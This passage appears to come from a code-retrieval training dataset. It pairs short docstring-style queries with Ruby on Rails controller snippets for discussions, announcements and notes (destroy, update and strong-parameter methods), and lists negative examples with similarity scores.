"def destroy\n @discuss = Discuss.find(params[:id])\n \n respond_to do |format|\n if (@discuss.user_id != current_user.id) \n format.html {redirect_to @discuss, notice: 'You cannot delete someone else\\'s post'}\n else\n @discuss.destroy\n end\n\n \n format.html { redirect_to discusses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feedback_reply.destroy\n# respond_to do |format|\n# format.html { redirect_to feedback_replies_url }\n# format.json { head :no_content }\n# end\n end",
"def update\n respond_to do |format|\n if @discuss.update(discuss_params)\n format.html { redirect_to @discuss, notice: 'Discuss was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @discuss.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n comment = Comment.find(params[:id])\n\n # ratings will be 1 or -1. non numbers will conveniently translate to 0\n comment.rating += params[:rating].to_i\n comment.save\n\n websockets = clients(controller: :discussions, id: comment.discussion_id)\n # p \"NUMBER OF CLIENTS TO UPDATE: #{websockets.size}\"\n json = {\n functionName: \"updateRating\",\n params: {\n id: params[:id],\n rating: comment.rating\n }\n }.to_json\n websockets.each { |ws| ws.send(json) }\n\n if comment.rating < 0 && comment.discussion.visible\n # Step 1: look upward for the earliest negative comment (might be self)\n root_comment = comment.find_source_of_negativity\n p \"Topic #{root_comment.summary_snippet} has been determined to be the font of madness\"\n\n # Step 2: check all its children for overal negativity\n if root_comment.exceeds_negative_threshold?\n\n old_discussion_id = comment.discussion_id\n new_discussion = root_comment.form_new_discussion(hide: true)\n\n # Notify subscribers of article that a new discussion has formed\n article_clients = clients(controller: :articles, id: comment.discussion.article_id)\n\n article_json = {\n functionName: \"addDiscussion\",\n params: new_discussion.as_json\n }.to_json\n article_clients.each { |ws| ws.send(article_json) }\n\n # Notify subscribers of old discussion to remove the offending comments\n discussion_clients = clients(controller: :discussions, id: old_discussion_id)\n\n discussion_json = {\n functionName: \"newDiscussionFromComments\",\n params: new_discussion.as_json.merge(ids: new_discussion.comment_ids)\n }.to_json\n discussion_clients.each { |ws| ws.send(discussion_json) }\n end\n end\n\n render json: nil, status: :ok\n end",
"def update\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n if @discussion.update_attributes(params[:discussion])\n flash[:notice] = 'Discussion was successfully updated.'\n format.html { redirect_to(@discussion) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @talk_comment = TalkComment.find(params[:id])\n @talk_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to talk_comments_url }\n format.json { head :no_content }\n end\n end",
"def set_discussion\n @discussion = @issue.discussions.find(params[:discussion_id])\n end",
"def discussions(**params)\n client.model(:get, \"/live/#{read_attribute(:id)}/discussions\", params)\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def destroy\n @patch = Patch.find(params[:id])\n @patch.destroy\n\n respond_to do |format|\n format.html { redirect_to patches_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @mdl_forum_discussion.update(mdl_forum_discussion_params)\n format.html { redirect_to @mdl_forum_discussion, notice: 'Mdl forum discussion was successfully updated.' }\n format.json { render :show, status: :ok, location: @mdl_forum_discussion }\n else\n format.html { render :edit }\n format.json { render json: @mdl_forum_discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def DeleteForum id\n \n APICall(path: \"forums/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @announcement.destroy\n respond_to do |format|\n format.html { redirect_to announcements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @announcement.destroy\n respond_to do |format|\n format.html { redirect_to announcements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @announcement.destroy\n respond_to do |format|\n format.html { redirect_to announcements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to @reply.post.course.forum_path, notice: (t 'replies.flash.deleted') }\n format.json { head :no_content }\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:header, :body, :discussion_type_id, :topic_id)\n end",
"def update\n @discuss = Discuss.find(params[:id])\n\n respond_to do |format|\n if @discuss.update_attributes(params[:discuss])\n format.html { redirect_to @discuss, notice: 'Discuss was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discuss.errors, status: :unprocessable_entity }\n end\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:name, :description, :issue_id, :user_id)\n end",
"def destroy\n issues_permissions\n @issue.destroy\n respond_to do |format|\n format.html { redirect_to issues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @topic_comment.destroy\n respond_to do |format|\n format.html { redirect_to topic_comments_url, notice: 'Topic comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @announcement = current_group.announcements.find(params[:id])\n @announcement.destroy\n\n respond_to do |format|\n format.html { redirect_to(announcements_url) }\n format.json { head :ok }\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:id, :user_id, :category_id, comments_attributes: [:body, :discussion_id, :user_id])\n end",
"def destroy\n @issue.destroy\n respond_to do |format|\n format.html { redirect_to issues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Note.destroy(params[:id])\n end",
"def UpdateForum id,params = {}\n \n APICall(path: \"forums/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end",
"def set_discussion\n @discussion = Discussion.includes(:posts, :likes).find(params[:id])\n end",
"def destroy\n @normal_issue = NormalIssue.find(params[:id])\n @normal_issue.destroy\n\n respond_to do |format|\n format.html { redirect_to normal_issues_url }\n format.json { head :no_content }\n end\n end",
"def delete_discussion_group\n @discussion_group = DiscussionGroup.find(params[:id])\n @discussion_group.destroy\n\n respond_to do |format|\n format.js\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:title, :body, :user_id)\n end",
"def update\n @board = Board.friendly.find(params[:board_id])\n respond_to do |format|\n if @discussion.update(discussion_params)\n format.html { redirect_to board_discussion_path(@board, @discussion), notice: 'Discussion was successfully updated.' }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @discussion.update(discussion_params)\n unless @discussion.teaching_id\n\t format.html { redirect_to edit_discussion_path(@discussion), notice: \"第三步,选择教法\"}\n else\n @discussion.is_ready = true\n @discussion.save\n format.html { redirect_to @discussion, notice: '课堂准备就绪' }\n format.json { render :show, status: :ok, location: @discussion }\n end\n else\n format.html { render :edit }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n issue.destroy\n respond_to do |format|\n format.html { redirect_to issues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @announcement = Announcement.find(params[:id])\n @announcement.destroy\n render json:@announcement\n\n end",
"def destroy\n\n respond_to do |format|\n if @answer.editable?\n @answer.destroy\n format.html { redirect_to [@project, @discussion], notice: 'Answer was successfully destroyed.' }\n else\n format.html { redirect_to [@project, @discussion], notice: \"You can't delete that answer\" }\n end\n end\n end",
"def destroy\n @lecture_note = LectureNote.find(params[:id])\n @lecture_note.destroy\n\n respond_to do |format|\n format.html { redirect_to lecture_notes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => \"replies\" , :action => \"master\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fundamental_announcement = Fundamental::Announcement.find(params[:id])\n @fundamental_announcement.destroy\n\n respond_to do |format|\n format.html { redirect_to fundamental_announcements_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @announcement.destroy\n respond_to do |format|\n format.html { redirect_to :delete, flash: { message: 'Announcement was successfully deleted.' } }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_answer_comment.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_answer_comments_url, notice: 'Answer comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n @discussion_topic = Boards::Topics::DiscussionTopic.find(params[:id])\n\n respond_to do |format|\n if @discussion_topic.update_attributes(params[:discussion_topic])\n flash[:notice] = 'Boards::Topics::DiscussionTopic was successfully updated.'\n format.html { redirect_to(@discussion_topic) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @discussion_topic.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @announcement = Announcement.find(params[:id])\n @announcement.destroy\n respond_to do |format|\n format.html { render html: '200', status: :ok }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @discussiom.update(discussiom_params)\n format.html { redirect_to @discussiom, notice: 'Discussiom was successfully updated.' }\n format.json { render :show, status: :ok, location: @discussiom }\n else\n format.html { render :edit }\n format.json { render json: @discussiom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def discussion_params\n params.require(:discussion).permit(:title, :content, :channel_id)\n end",
"def destroy\n @contest = Contest.find_by(path: params[:id])\n\n destroy_directory(@contest.path)\n destroy_problems(@contest)#with submits\n destroy_participants(@contest)\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n #format.json { head :no_content }\n end\n end",
"def destroy\n @doi.updates.each do |update|\n update.destroy\n end\n @doi.comments.each do |comment|\n comment.destroy\n end\n @doi.destroy\n respond_to do |format|\n format.html { redirect_to dois_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @note.destroy\n respond_to do |format|\n format.html { redirect_to notes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comments = Comment.where(question_id: @question.id)\n @comments.each do |comment|\n comment.destroy\n end\n @question.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to forum_topic_path(params[:forum_id], params[:topic_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish_comment = @dish.dish_comments.find(params[:id])\n @dish_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to dish_comments_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.71458375",
"0.7107177",
"0.7017333",
"0.6907177",
"0.6907177",
"0.6907177",
"0.6907177",
"0.6887747",
"0.6833005",
"0.6791768",
"0.6733276",
"0.6733173",
"0.67007315",
"0.6672481",
"0.6672481",
"0.6672481",
"0.6581577",
"0.65767634",
"0.6569762",
"0.6559188",
"0.65583247",
"0.65479714",
"0.6532566",
"0.6487761",
"0.64210576",
"0.6398987",
"0.6363429",
"0.6327904",
"0.63242096",
"0.62900245",
"0.6232827",
"0.6214532",
"0.62123555",
"0.619743",
"0.61454475",
"0.61264145",
"0.6101894",
"0.6010413",
"0.6010413",
"0.6003341",
"0.5997443",
"0.5988362",
"0.5965138",
"0.59606993",
"0.59341955",
"0.5899723",
"0.5889685",
"0.58817863",
"0.58794683",
"0.58794683",
"0.58794683",
"0.58794683",
"0.58794683",
"0.58794683",
"0.58794683",
"0.58794683",
"0.5844213",
"0.5834043",
"0.5797181",
"0.5791073",
"0.5791073",
"0.5791073",
"0.57785594",
"0.57727325",
"0.5770335",
"0.57686764",
"0.57628644",
"0.5755102",
"0.57417625",
"0.57391113",
"0.57167405",
"0.571606",
"0.5711445",
"0.5705229",
"0.5703802",
"0.5700601",
"0.57004887",
"0.5699867",
"0.5698611",
"0.56916493",
"0.56851196",
"0.5682977",
"0.56803566",
"0.56765497",
"0.5671187",
"0.56707066",
"0.56680423",
"0.56589186",
"0.5656349",
"0.56493616",
"0.5646048",
"0.5645837",
"0.56424016",
"0.56403756",
"0.56403756",
"0.56403756",
"0.56403756",
"0.5638016",
"0.56374544",
"0.563629"
] |
0.6385715
|
26
|
Use callbacks to share common setup or constraints between actions.
|
def set_discussion
@discussion = Discussion.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def discussion_params
params.require(:discussion).permit(:id, :user_id, :category_id, comments_attributes: [:body, :discussion_id, :user_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
